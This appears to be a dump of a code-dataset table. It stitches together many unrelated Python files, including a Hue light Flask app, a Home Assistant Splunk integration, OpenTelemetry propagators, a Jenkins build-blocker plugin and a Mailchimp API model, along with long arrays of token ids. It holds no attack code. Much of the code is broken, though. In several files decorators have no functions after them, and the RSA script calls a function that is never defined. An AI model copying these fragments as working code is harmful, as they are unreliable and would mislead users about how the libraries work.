content
stringlengths 1
1.04M
| input_ids
sequencelengths 1
774k
| ratio_char_token
float64 0.38
22.9
| token_count
int64 1
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|
|---|---|---|---|
#!/bin/python3
#Alexis Brunet alias AlexTheGeek
####################
## HUE COLOR LOOP ##
####################
import time
import os
import requests
from os.path import join, dirname
from dotenv import load_dotenv
from flask import Flask, render_template, request
app = Flask(__name__)
STARTING = '{"on":true,"bri":254,"xy":[0.3523,0.144],"effect":"colorloop"}'
ENDING = '{"effect": "none"}'
OFF = '{"on":false}'
env_path = join(dirname(__file__), 'env')
load_dotenv(env_path)
ip = os.getenv('IP')
api = os.getenv('API')
group = os.getenv('GROUP')
@app.route("/<deviceName>/")
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)
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] | 2.646341 | 246 |
from django.contrib import admin
from .models import *
admin.site.register(IdentityProvider, IdentityProviderAdmin)
admin.site.register(ExternalIdentity, ExternalIdentityAdmin)
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from setuptools import setup, find_packages
version = '0.0.5'
setup(
name="alerta-observium",
version=version,
description='Alerta webhook for Obseervium NMS',
url='https://github.com/alerta/alerta-contrib',
license='MIT',
author='Iskren Hadzhinedev',
author_email='[email protected]',
packages=find_packages(),
py_modules=['alerta_observium'],
install_requires=[
'python-dateutil'
],
include_package_data=True,
zip_safe=True,
entry_points={
'alerta.webhooks': [
'observium = alerta_observium:ObserviumWebhook'
]
}
)
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] | 2.256318 | 277 |
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
# pylint: disable=line-too-long
from typing import List, Tuple
from azext_vmware.vendored_sdks.avs_client import AVSClient
LEGAL_TERMS = '''
LEGAL TERMS
Azure VMware Solution ("AVS") is an Azure Service licensed to you as part of your Azure subscription and subject to the terms and conditions of the agreement under which you obtained your Azure subscription (https://azure.microsoft.com/support/legal/). The following additional terms also apply to your use of AVS:
DATA RETENTION. AVS does not currently support retention or extraction of data stored in AVS Clusters. Once an AVS Cluster is deleted, the data cannot be recovered as it terminates all running workloads, components, and destroys all Cluster data and configuration settings, including public IP addresses.
PROFESSIONAL SERVICES DATA TRANSFER TO VMWARE. In the event that you contact Microsoft for technical support relating to Azure VMware Solution and Microsoft must engage VMware for assistance with the issue, Microsoft will transfer the Professional Services Data and the Personal Data contained in the support case to VMware. The transfer is made subject to the terms of the Support Transfer Agreement between VMware and Microsoft, which establishes Microsoft and VMware as independent processors of the Professional Services Data. Before any transfer of Professional Services Data to VMware will occur, Microsoft will obtain and record consent from you for the transfer.
VMWARE DATA PROCESSING AGREEMENT. Once Professional Services Data is transferred to VMware (pursuant to the above section), the processing of Professional Services Data, including the Personal Data contained the support case, by VMware as an independent processor will be governed by the VMware Data Processing Agreement for Microsoft AVS Customers Transferred for L3 Support (the "VMware Data Processing Agreement") between you and VMware (located at https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/privacy/vmware-data-processing-agreement.pdf). You also give authorization to allow your representative(s) who request technical support for Azure VMware Solution to provide consent on your behalf to Microsoft for the transfer of the Professional Services Data to VMware.
ACCEPTANCE OF LEGAL TERMS. By continuing, you agree to the above additional Legal Terms for AVS. If you are an individual accepting these terms on behalf of an entity, you also represent that you have the legal authority to enter into these additional terms on that entity's behalf.
'''
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from datetime import datetime
from unittest.mock import Mock
from sqlalchemy import create_engine
from sqlalchemy.orm import scoped_session, sessionmaker # type: ignore
from antarest.core.persistence import Base
from antarest.core.utils.fastapi_sqlalchemy import DBSessionMiddleware, db
from antarest.login.model import User, Group
from antarest.study.model import (
Study,
RawStudy,
DEFAULT_WORKSPACE_NAME,
StudyContentStatus,
PublicMode,
)
from antarest.study.repository import StudyMetadataRepository
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"""Support to send data to a Splunk instance."""
import asyncio
from http import HTTPStatus
import json
import logging
import time
from aiohttp import ClientConnectionError, ClientResponseError
from hass_splunk import SplunkPayloadError, hass_splunk
import voluptuous as vol
from homeassistant.const import (
CONF_HOST,
CONF_NAME,
CONF_PORT,
CONF_SSL,
CONF_TOKEN,
CONF_VERIFY_SSL,
EVENT_STATE_CHANGED,
)
from homeassistant.helpers import state as state_helper
from homeassistant.helpers.aiohttp_client import async_get_clientsession
import homeassistant.helpers.config_validation as cv
from homeassistant.helpers.entityfilter import FILTER_SCHEMA
from homeassistant.helpers.json import JSONEncoder
_LOGGER = logging.getLogger(__name__)
DOMAIN = "splunk"
CONF_FILTER = "filter"
DEFAULT_HOST = "localhost"
DEFAULT_PORT = 8088
DEFAULT_SSL = False
DEFAULT_NAME = "HASS"
CONFIG_SCHEMA = vol.Schema(
{
DOMAIN: vol.Schema(
{
vol.Required(CONF_TOKEN): cv.string,
vol.Optional(CONF_HOST, default=DEFAULT_HOST): cv.string,
vol.Optional(CONF_PORT, default=DEFAULT_PORT): cv.port,
vol.Optional(CONF_SSL, default=False): cv.boolean,
vol.Optional(CONF_VERIFY_SSL, default=True): cv.boolean,
vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,
vol.Optional(CONF_FILTER, default={}): FILTER_SCHEMA,
}
)
},
extra=vol.ALLOW_EXTRA,
)
async def async_setup(hass, config):
"""Set up the Splunk component."""
conf = config[DOMAIN]
host = conf.get(CONF_HOST)
port = conf.get(CONF_PORT)
token = conf.get(CONF_TOKEN)
use_ssl = conf[CONF_SSL]
verify_ssl = conf.get(CONF_VERIFY_SSL)
name = conf.get(CONF_NAME)
entity_filter = conf[CONF_FILTER]
event_collector = hass_splunk(
session=async_get_clientsession(hass),
host=host,
port=port,
token=token,
use_ssl=use_ssl,
verify_ssl=verify_ssl,
)
if not await event_collector.check(connectivity=False, token=True, busy=False):
return False
payload = {
"time": time.time(),
"host": name,
"event": {
"domain": DOMAIN,
"meta": "Splunk integration has started",
},
}
await event_collector.queue(json.dumps(payload, cls=JSONEncoder), send=False)
async def splunk_event_listener(event):
"""Listen for new messages on the bus and sends them to Splunk."""
state = event.data.get("new_state")
if state is None or not entity_filter(state.entity_id):
return
try:
_state = state_helper.state_as_number(state)
except ValueError:
_state = state.state
payload = {
"time": event.time_fired.timestamp(),
"host": name,
"event": {
"domain": state.domain,
"entity_id": state.object_id,
"attributes": dict(state.attributes),
"value": _state,
},
}
try:
await event_collector.queue(json.dumps(payload, cls=JSONEncoder), send=True)
except SplunkPayloadError as err:
if err.status == HTTPStatus.UNAUTHORIZED:
_LOGGER.error(err)
else:
_LOGGER.warning(err)
except ClientConnectionError as err:
_LOGGER.warning(err)
except asyncio.TimeoutError:
_LOGGER.warning("Connection to %s:%s timed out", host, port)
except ClientResponseError as err:
_LOGGER.error(err.message)
hass.bus.async_listen(EVENT_STATE_CHANGED, splunk_event_listener)
return True
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] | 2.154897 | 1,756 |
import random
alf=["а","б","в","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я",".",",",":","?"]
zam=[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36]
p=17
q=11
file=open('text.txt',encoding='utf-8')
st1=list(file.read())
file.close()
print(st1)
f,f2=rsa(st1,p,q)
s=sum(f)
print(s)
print(f,f2)
| [
11748,
4738,
201,
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16,
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7,
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13,
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3419,
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198,
4798,
7,
301,
16,
8,
201,
198,
69,
11,
69,
17,
28,
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7,
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80,
8,
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82,
28,
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7,
69,
8,
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82,
8,
201,
198,
4798,
7,
69,
11,
69,
17,
8,
201,
198,
201,
198
] | 1.594891 | 274 |
from django.test import TestCase, Client
from .models import Profile
from django.contrib.auth.models import User
import unittest
from .forms import SignUpForm
from .signals import show_login_message, show_logout_message
from django.contrib.auth.signals import user_logged_out, user_logged_in
from django.contrib import messages
from django.contrib.messages.middleware import MessageMiddleware
from django.contrib.sessions.middleware import SessionMiddleware
# Create your tests here.
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] | 3.282895 | 152 |
# (C) 2022 GoodData Corporation
from __future__ import annotations
from pathlib import Path
from typing import Any, List, Optional, Type
import attr
from gooddata_metadata_client.model.declarative_data_source import DeclarativeDataSource
from gooddata_metadata_client.model.declarative_data_sources import DeclarativeDataSources
from gooddata_scan_client.model.test_definition_request import TestDefinitionRequest
from gooddata_sdk.catalog.base import Base
from gooddata_sdk.catalog.data_source.declarative_model.physical_model.pdm import CatalogDeclarativeTables
from gooddata_sdk.catalog.entity import TokenCredentialsFromFile
from gooddata_sdk.catalog.permissions.permission import CatalogDeclarativeDataSourcePermission
from gooddata_sdk.utils import create_directory, read_layout_from_file, write_layout_to_file
BIGQUERY_TYPE = "BIGQUERY"
LAYOUT_DATA_SOURCES_DIR = "data_sources"
@attr.s(auto_attribs=True, kw_only=True)
@attr.s(auto_attribs=True, kw_only=True)
| [
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28,
17821,
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86,
62,
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28,
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8,
198
] | 3.15534 | 309 |
# Copyright (c) Anish Acharya.
# Licensed under the MIT License
import numpy as np
from .base_gar import GAR
from typing import List
"""
Ghosh et.al. Communication-Efficient and Byzantine-Robust Distributed Learning with Error Feedback
"""
| [
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# -*- coding: utf-8 -*-
"""
TencentBlueKing is pleased to support the open source community by making 蓝鲸智云-用户管理(Bk-User) available.
Copyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved.
Licensed under the MIT License (the "License"); you may not use this file except in compliance with the License.
You may obtain a copy of the License at http://opensource.org/licenses/MIT
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
specific language governing permissions and limitations under the License.
"""
from bkuser_shell.common.constants import ChoicesEnum
from django.utils.translation import ugettext_lazy as _
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13,
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1330,
334,
1136,
5239,
62,
75,
12582,
355,
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628
] | 3.605263 | 228 |
from wpilib.command import Subsystem
from constants import Constants
from utils import singleton, lazytalonsrx
import logging
from commands import rollclimbroller
class ClimbRoller(Subsystem, metaclass=singleton.Singleton):
"""The climb roller subsystem controlls the rollers on the end of the front arm."""
def init(self):
"""Initialize the intake motors. This is not in the constructor to make the calling explicit in the robotInit to the robot simulator."""
self.l_motor = lazytalonsrx.LazyTalonSRX(Constants.CRL_MOTOR_ID)
self.r_motor = lazytalonsrx.LazyTalonSRX(Constants.CRR_MOTOR_ID)
self.l_motor.initialize(
inverted=False, encoder=False, name="Climb Roller Left")
self.r_motor.initialize(
inverted=False, encoder=False, name="Climb Roller Right")
def setPercentOutput(self, l_signal, r_signal):
"""Set the percent output of the 2 motors."""
self.l_motor.setPercentOutput(l_signal, max_signal=1)
self.r_motor.setPercentOutput(r_signal, max_signal=1)
def roll(self, signal):
"""Move the rollers at the same speed."""
if(signal > 0):
logging.warn("Will not roll climb rollers backwards")
return
self.setPercentOutput(signal, signal)
def stop(self):
"""Stop the rollers."""
self.setPercentOutput(0, 0)
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13,
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7,
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282,
11,
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8,
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220,
220,
220,
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7,
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198,
220,
220,
220,
220,
220,
220,
220,
37227,
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4836,
364,
526,
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198,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
2617,
31905,
26410,
7,
15,
11,
657,
8,
198
] | 2.53663 | 546 |
from objects.components import Component, types, ComponentPriority
from objects.components.state import TunableStateTypeReference, TunableStateValueReference
from sims4.tuning.tunable import HasTunableFactory, AutoFactoryInit, TunableList, TunableReference, Tunable
import services
import sims4.resources
from snippets import define_snippet
(_, TunableStereoComponentSnippet) = define_snippet('stereo_component', StereoComponent.TunableFactory()) | [
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] | 3.788136 | 118 |
from .lexer import Lexer
from dataclasses_json import dataclass_json
from dataclasses import dataclass, field
from typing import List, Tuple, Union
# Parser of .base files
# Syntax is semicolon separated list of qualified types
@dataclass_json
@dataclass
@dataclass_json
@dataclass
| [
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] | 3.096774 | 93 |
#
# Copyright (c) 2013 - 2017, 2019 Software AG, Darmstadt, Germany and/or its licensors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import os
from xpybuild.propertysupport import *
from xpybuild.buildcommon import *
from xpybuild.pathsets import *
from xpybuild.targets.native import *
from xpybuild.targets.copy import Copy
from xpybuild.utils.compilers import GCC, VisualStudio
include(os.environ['PYSYS_TEST_ROOT_DIR']+'/build_utilities/native_config.xpybuild.py')
setGlobalOption('native.include.upToDateCheckIgnoreRegex', '(c:/program files.*|.*/tESt4.h)' if IS_WINDOWS else '.*/test4.h')
setGlobalOption('native.include.upToDateCheckIgnoreSystemHeaders', True) # only works on linux/gcc currently
Copy('${OUTPUT_DIR}/my-generated-include-files/', FindPaths('./include-src/'))
Copy('${OUTPUT_DIR}/my-generated-include-files2/generatedpath/test3.h', FindPaths('./include-src/generatedpath/'))
Copy('${OUTPUT_DIR}/test-generated.cpp', './test.cpp')
Cpp(objectname('${OUTPUT_DIR}/no-target-deps'), './test.cpp',
includes=[
"./include/",
'./include-src/',
]
)
Cpp(objectname('${OUTPUT_DIR}/target-cpp-and-include-dir'), '${OUTPUT_DIR}/test-generated.cpp',
includes=[
"./include/",
'${OUTPUT_DIR}/my-generated-include-files/', # a target
]
)
Cpp(objectname('${OUTPUT_DIR}/target-cpp'), '${OUTPUT_DIR}/test-generated.cpp',
includes=[
"./include/",
'./include-src/',
]
)
Cpp(objectname('${OUTPUT_DIR}/target-include-dir'), './test.cpp',
includes=[
"./include/",
'${OUTPUT_DIR}/my-generated-include-files/', # a target
]
)
# generated include files in non-target directories are no longer supported
Cpp(objectname('${OUTPUT_DIR}/target-include-file'), './test.cpp',
includes=[
"./include/",
TargetsWithinDir('${OUTPUT_DIR}/my-generated-include-files2/'), # NOT a target, but contains one
]
)
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257,
2496,
11,
475,
4909,
530,
198,
197,
197,
60,
198,
8,
198
] | 2.748552 | 863 |
from __future__ import unicode_literals
import logging
LOGGER = logging.getLogger(__name__)
| [
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# add dependency directory to the Python path
import site
import os.path
site.addsitedir(os.path.join(os.path.dirname(__file__), 'deps'))
# call header.py
from xpidl import header
header.main() | [
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from snim.snim_state import SnimState | [
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# imports
from __future__ import print_function
from IPython.display import display, Image
from six.moves import cPickle as pickle
from six.moves.urllib.request import urlretrieve
from sklearn.linear_model import LogisticRegression
import imageio
import matplotlib.pyplot as plt
import numpy as np
import os
import sys
import tarfile
from constants import *
from commonconstants import NOT_MNIST_ZIPS_DIR, NOT_MNIST_IMAGES_DIR, NOT_MNIST_PICKLES_DIR
from file_helper import get_file_name, join_paths
np.random.seed(NUMPY_SEED)
last_percent_reported = None
def download_progress_hook(count, blockSize, totalSize):
"""A hook to report the progress of a download. This is mostly intended for users with
slow internet connections. Reports every 5% change in download progress.
"""
global last_percent_reported
percent = int(count*blockSize*100 / totalSize)
if last_percent_reported != percent:
if percent % 5 == 0:
sys.stdout.write('%s%%' % percent)
sys.stdout.flush()
else:
sys.stdout.write('.')
sys.stdout.flush()
last_percent_reported = percent
def load_letter(folder, min_num_images):
"""Load the data for a single letter label."""
image_files = os.listdir(folder)
dataset = np.ndarray(shape=(len(image_files), IMAGE_SIZE, IMAGE_SIZE),
dtype=np.float32)
print(folder)
num_images = 0
for image in image_files:
image_file = os.path.join(folder, image)
try:
image_data = (imageio.imread(image_file).astype(float) -
PIXEl_DEPTh / 2) / PIXEl_DEPTh
if image_data.shape != (IMAGE_SIZE, IMAGE_SIZE):
raise Exception('Unexpected image shape: %s' %
str(image_data.shape))
dataset[num_images, :, :] = image_data
num_images = num_images + 1
except (IOError, ValueError) as e:
print('Could not read:', image_file,
':', e, '- it\'s ok, skipping.')
dataset = dataset[0:num_images, :, :]
if num_images < min_num_images:
raise Exception('Many fewer images than expected: %d < %d' %
(num_images, min_num_images))
print('Full dataset tensor:', dataset.shape)
print('Mean:', np.mean(dataset))
print('Standard deviation:', np.std(dataset))
return dataset
if __name__ == '__main__':
# Large
main(TRAINING_SIZE, VALIDATION_SIZE, TEST_SIZE, FINAL_DATASET_FILENAME)
# Small
main(TRAINING_SIZE_SMALL, VALIDATION_SIZE_SMALL, TEST_SIZE_SMALL, FINAL_DATASET_FILENAME_SMALL)
| [
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] | 2.353357 | 1,132 |
from module1 import func1
print("imported module2")
print(func1(2))
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] | 2.875 | 24 |
import argparse
import json
import torch
from torch import nn
from torch.autograd import Variable
from torchvision import models
from collections import OrderedDict
from PIL import Image
import numpy as np
import numbers
if __name__ == "__main__":
main()
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import time
import gevent
import operator
from collections import OrderedDict
from protocol import BaseProtocol
from p2p_protocol import P2PProtocol
from service import WiredService
import multiplexer
from muxsession import MultiplexedSession
from crypto import ECIESDecryptionError
import slogging
import gevent.socket
import rlpxcipher
log = slogging.get_logger('p2p.peer')
class UnknownCommandError(Exception):
"raised if we recive an unknown command for a known protocol"
pass
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# Copyright The OpenTelemetry Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
API for propagation of context.
The propagators for the
``opentelemetry.propagators.composite.CompositeHTTPPropagator`` can be defined
via configuration in the ``OTEL_PROPAGATORS`` environment variable. This
variable should be set to a comma-separated string of names of values for the
``opentelemetry_propagator`` entry point. For example, setting
``OTEL_PROPAGATORS`` to ``tracecontext,baggage`` (which is the default value)
would instantiate
``opentelemetry.propagators.composite.CompositeHTTPPropagator`` with 2
propagators, one of type
``opentelemetry.trace.propagation.tracecontext.TraceContextTextMapPropagator``
and other of type ``opentelemetry.baggage.propagation.BaggagePropagator``.
Notice that these propagator classes are defined as
``opentelemetry_propagator`` entry points in the ``setup.cfg`` file of
``opentelemetry``.
Example::
import flask
import requests
from opentelemetry import propagators
PROPAGATOR = propagators.get_global_textmap()
def get_header_from_flask_request(request, key):
return request.headers.get_all(key)
def set_header_into_requests_request(request: requests.Request,
key: str, value: str):
request.headers[key] = value
def example_route():
context = PROPAGATOR.extract(
get_header_from_flask_request,
flask.request
)
request_to_downstream = requests.Request(
"GET", "http://httpbin.org/get"
)
PROPAGATOR.inject(
set_header_into_requests_request,
request_to_downstream,
context=context
)
session = requests.Session()
session.send(request_to_downstream.prepare())
.. _Propagation API Specification:
https://github.com/open-telemetry/opentelemetry-specification/blob/main/specification/context/api-propagators.md
"""
import typing
from logging import getLogger
from os import environ
from pkg_resources import iter_entry_points
from opentelemetry.context.context import Context
from opentelemetry.environment_variables import OTEL_PROPAGATORS
from opentelemetry.propagators import composite
from opentelemetry.trace.propagation import textmap
logger = getLogger(__name__)
def extract(
getter: textmap.Getter[textmap.TextMapPropagatorT],
carrier: textmap.TextMapPropagatorT,
context: typing.Optional[Context] = None,
) -> Context:
"""Uses the configured propagator to extract a Context from the carrier.
Args:
getter: an object which contains a get function that can retrieve zero
or more values from the carrier and a keys function that can get all the keys
from carrier.
carrier: and object which contains values that are
used to construct a Context. This object
must be paired with an appropriate getter
which understands how to extract a value from it.
context: an optional Context to use. Defaults to current
context if not set.
"""
return get_global_textmap().extract(getter, carrier, context)
def inject(
set_in_carrier: textmap.Setter[textmap.TextMapPropagatorT],
carrier: textmap.TextMapPropagatorT,
context: typing.Optional[Context] = None,
) -> None:
"""Uses the configured propagator to inject a Context into the carrier.
Args:
set_in_carrier: A setter function that can set values
on the carrier.
carrier: An object that contains a representation of HTTP
headers. Should be paired with set_in_carrier, which
should know how to set header values on the carrier.
context: an optional Context to use. Defaults to current
context if not set.
"""
get_global_textmap().inject(set_in_carrier, carrier, context)
try:
propagators = []
# Single use variable here to hack black and make lint pass
environ_propagators = environ.get(
OTEL_PROPAGATORS, "tracecontext,baggage",
)
for propagator in environ_propagators.split(","):
propagators.append( # type: ignore
next( # type: ignore
iter_entry_points("opentelemetry_propagator", propagator)
).load()()
)
except Exception: # pylint: disable=broad-except
logger.exception("Failed to load configured propagators")
raise
_HTTP_TEXT_FORMAT = composite.CompositeHTTPPropagator(propagators) # type: ignore
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] | 2.799003 | 1,806 |
"""Interfaces for interacting with Build Blockers job property plugin"""
import xml.etree.ElementTree as ElementTree
from pyjen.utils.xml_plugin import XMLPlugin
class BuildBlockerProperty(XMLPlugin):
"""Wrapper for Build Blocker job properties
https://wiki.jenkins-ci.org/display/JENKINS/Build+Blocker+Plugin
"""
QUEUE_SCAN_TYPES = ("DISABLED", "ALL", "BUILDABLE")
LEVEL_TYPES = ("GLOBAL", "NODE")
@property
def queue_scan(self):
"""str: checks to see whether build blocking scans the build queue or
not. One of BuildBlockerProperty.QUEUE_SCAN_TYPES.
"""
retval = self._root.find("scanQueueFor").text
assert retval in BuildBlockerProperty.QUEUE_SCAN_TYPES
return retval
@queue_scan.setter
@property
def level(self):
"""str: the scope of the blocked job settings. One of
BuildBlockerProperty.LEVEL_TYPES"""
retval = self._root.find("blockLevel").text
assert retval in BuildBlockerProperty.LEVEL_TYPES
return retval
@level.setter
@property
def blockers(self):
"""list (str): list of search criteria for blocking jobs"""
temp = self._root.find("blockingJobs").text
return temp.split()
@blockers.setter
@property
def is_enabled(self):
"""bool: True if these blocking jobs are enabled, False if not"""
temp = self._root.find("useBuildBlocker").text
return temp.lower() == "true"
def enable(self):
"""Enables this set of build blockers"""
node = self._root.find("useBuildBlocker")
node.text = "true"
self.update()
def disable(self):
"""Disables this set of build blockers"""
node = self._root.find("useBuildBlocker")
node.text = "false"
self.update()
# --------------------------------------------------------------- PLUGIN API
@staticmethod
def get_jenkins_plugin_name():
"""str: the name of the Jenkins plugin associated with this PyJen plugin
This static method is used by the PyJen plugin API to associate this
class with a specific Jenkins plugin, as it is encoded in the config.xml
"""
return "hudson.plugins.buildblocker.BuildBlockerProperty"
@classmethod
def instantiate(cls, patterns):
"""Factory method used to instantiate an instance of this plugin
Args:
patterns (list, str):
One or more names or regular expressions for jobs that block the
execution of this one.
Returns:
BuildBlockerProperty:
reference to the newly instantiated object
"""
default_xml = """
<hudson.plugins.buildblocker.BuildBlockerProperty>
<useBuildBlocker>true</useBuildBlocker>
<blockLevel>GLOBAL</blockLevel>
<scanQueueFor>DISABLED</scanQueueFor>
</hudson.plugins.buildblocker.BuildBlockerProperty>"""
root_node = ElementTree.fromstring(default_xml)
jobs_node = ElementTree.SubElement(root_node, "blockingJobs")
if isinstance(patterns, str):
jobs_node.text = patterns
else:
jobs_node.text = " ".join(patterns)
return cls(root_node)
PluginClass = BuildBlockerProperty
if __name__ == "__main__": # pragma: no cover
pass
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# coding: utf-8
"""
Mailchimp Marketing API
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 3.0.74
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class Campaign(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'id': 'str',
'web_id': 'int',
'parent_campaign_id': 'str',
'type': 'str',
'create_time': 'datetime',
'archive_url': 'str',
'long_archive_url': 'str',
'status': 'str',
'emails_sent': 'int',
'send_time': 'datetime',
'content_type': 'str',
'needs_block_refresh': 'bool',
'resendable': 'bool',
'recipients': 'List3',
'settings': 'CampaignSettings2',
'variate_settings': 'ABTestOptions',
'tracking': 'CampaignTrackingOptions1',
'rss_opts': 'RSSOptions',
'ab_split_opts': 'ABTestingOptions',
'social_card': 'CampaignSocialCard',
'report_summary': 'CampaignReportSummary2',
'delivery_status': 'CampaignDeliveryStatus',
'links': 'list[ResourceLink]'
}
attribute_map = {
'id': 'id',
'web_id': 'web_id',
'parent_campaign_id': 'parent_campaign_id',
'type': 'type',
'create_time': 'create_time',
'archive_url': 'archive_url',
'long_archive_url': 'long_archive_url',
'status': 'status',
'emails_sent': 'emails_sent',
'send_time': 'send_time',
'content_type': 'content_type',
'needs_block_refresh': 'needs_block_refresh',
'resendable': 'resendable',
'recipients': 'recipients',
'settings': 'settings',
'variate_settings': 'variate_settings',
'tracking': 'tracking',
'rss_opts': 'rss_opts',
'ab_split_opts': 'ab_split_opts',
'social_card': 'social_card',
'report_summary': 'report_summary',
'delivery_status': 'delivery_status',
'links': '_links'
}
def __init__(self, id=None, web_id=None, parent_campaign_id=None, type=None, create_time=None, archive_url=None, long_archive_url=None, status=None, emails_sent=None, send_time=None, content_type=None, needs_block_refresh=None, resendable=None, recipients=None, settings=None, variate_settings=None, tracking=None, rss_opts=None, ab_split_opts=None, social_card=None, report_summary=None, delivery_status=None, links=None): # noqa: E501
"""Campaign - a model defined in Swagger""" # noqa: E501
self._id = None
self._web_id = None
self._parent_campaign_id = None
self._type = None
self._create_time = None
self._archive_url = None
self._long_archive_url = None
self._status = None
self._emails_sent = None
self._send_time = None
self._content_type = None
self._needs_block_refresh = None
self._resendable = None
self._recipients = None
self._settings = None
self._variate_settings = None
self._tracking = None
self._rss_opts = None
self._ab_split_opts = None
self._social_card = None
self._report_summary = None
self._delivery_status = None
self._links = None
self.discriminator = None
if id is not None:
self.id = id
if web_id is not None:
self.web_id = web_id
if parent_campaign_id is not None:
self.parent_campaign_id = parent_campaign_id
if type is not None:
self.type = type
if create_time is not None:
self.create_time = create_time
if archive_url is not None:
self.archive_url = archive_url
if long_archive_url is not None:
self.long_archive_url = long_archive_url
if status is not None:
self.status = status
if emails_sent is not None:
self.emails_sent = emails_sent
if send_time is not None:
self.send_time = send_time
if content_type is not None:
self.content_type = content_type
if needs_block_refresh is not None:
self.needs_block_refresh = needs_block_refresh
if resendable is not None:
self.resendable = resendable
if recipients is not None:
self.recipients = recipients
if settings is not None:
self.settings = settings
if variate_settings is not None:
self.variate_settings = variate_settings
if tracking is not None:
self.tracking = tracking
if rss_opts is not None:
self.rss_opts = rss_opts
if ab_split_opts is not None:
self.ab_split_opts = ab_split_opts
if social_card is not None:
self.social_card = social_card
if report_summary is not None:
self.report_summary = report_summary
if delivery_status is not None:
self.delivery_status = delivery_status
if links is not None:
self.links = links
@property
def id(self):
"""Gets the id of this Campaign. # noqa: E501
A string that uniquely identifies this campaign. # noqa: E501
:return: The id of this Campaign. # noqa: E501
:rtype: str
"""
return self._id
@id.setter
def id(self, id):
"""Sets the id of this Campaign.
A string that uniquely identifies this campaign. # noqa: E501
:param id: The id of this Campaign. # noqa: E501
:type: str
"""
self._id = id
@property
def web_id(self):
"""Gets the web_id of this Campaign. # noqa: E501
The ID used in the Mailchimp web application. View this campaign in your Mailchimp account at `https://{dc}.admin.mailchimp.com/campaigns/show/?id={web_id}`. # noqa: E501
:return: The web_id of this Campaign. # noqa: E501
:rtype: int
"""
return self._web_id
@web_id.setter
def web_id(self, web_id):
"""Sets the web_id of this Campaign.
The ID used in the Mailchimp web application. View this campaign in your Mailchimp account at `https://{dc}.admin.mailchimp.com/campaigns/show/?id={web_id}`. # noqa: E501
:param web_id: The web_id of this Campaign. # noqa: E501
:type: int
"""
self._web_id = web_id
@property
def parent_campaign_id(self):
"""Gets the parent_campaign_id of this Campaign. # noqa: E501
If this campaign is the child of another campaign, this identifies the parent campaign. For Example, for RSS or Automation children. # noqa: E501
:return: The parent_campaign_id of this Campaign. # noqa: E501
:rtype: str
"""
return self._parent_campaign_id
@parent_campaign_id.setter
def parent_campaign_id(self, parent_campaign_id):
"""Sets the parent_campaign_id of this Campaign.
If this campaign is the child of another campaign, this identifies the parent campaign. For Example, for RSS or Automation children. # noqa: E501
:param parent_campaign_id: The parent_campaign_id of this Campaign. # noqa: E501
:type: str
"""
self._parent_campaign_id = parent_campaign_id
@property
def type(self):
"""Gets the type of this Campaign. # noqa: E501
There are four types of [campaigns](https://mailchimp.com/help/getting-started-with-campaigns/) you can create in Mailchimp. A/B Split campaigns have been deprecated and variate campaigns should be used instead. # noqa: E501
:return: The type of this Campaign. # noqa: E501
:rtype: str
"""
return self._type
@type.setter
def type(self, type):
"""Sets the type of this Campaign.
There are four types of [campaigns](https://mailchimp.com/help/getting-started-with-campaigns/) you can create in Mailchimp. A/B Split campaigns have been deprecated and variate campaigns should be used instead. # noqa: E501
:param type: The type of this Campaign. # noqa: E501
:type: str
"""
allowed_values = ["regular", "plaintext", "absplit", "rss", "variate"] # noqa: E501
if type not in allowed_values:
raise ValueError(
"Invalid value for `type` ({0}), must be one of {1}" # noqa: E501
.format(type, allowed_values)
)
self._type = type
@property
def create_time(self):
"""Gets the create_time of this Campaign. # noqa: E501
The date and time the campaign was created in ISO 8601 format. # noqa: E501
:return: The create_time of this Campaign. # noqa: E501
:rtype: datetime
"""
return self._create_time
@create_time.setter
def create_time(self, create_time):
"""Sets the create_time of this Campaign.
The date and time the campaign was created in ISO 8601 format. # noqa: E501
:param create_time: The create_time of this Campaign. # noqa: E501
:type: datetime
"""
self._create_time = create_time
@property
def archive_url(self):
"""Gets the archive_url of this Campaign. # noqa: E501
The link to the campaign's archive version in ISO 8601 format. # noqa: E501
:return: The archive_url of this Campaign. # noqa: E501
:rtype: str
"""
return self._archive_url
@archive_url.setter
def archive_url(self, archive_url):
"""Sets the archive_url of this Campaign.
The link to the campaign's archive version in ISO 8601 format. # noqa: E501
:param archive_url: The archive_url of this Campaign. # noqa: E501
:type: str
"""
self._archive_url = archive_url
@property
def long_archive_url(self):
"""Gets the long_archive_url of this Campaign. # noqa: E501
The original link to the campaign's archive version. # noqa: E501
:return: The long_archive_url of this Campaign. # noqa: E501
:rtype: str
"""
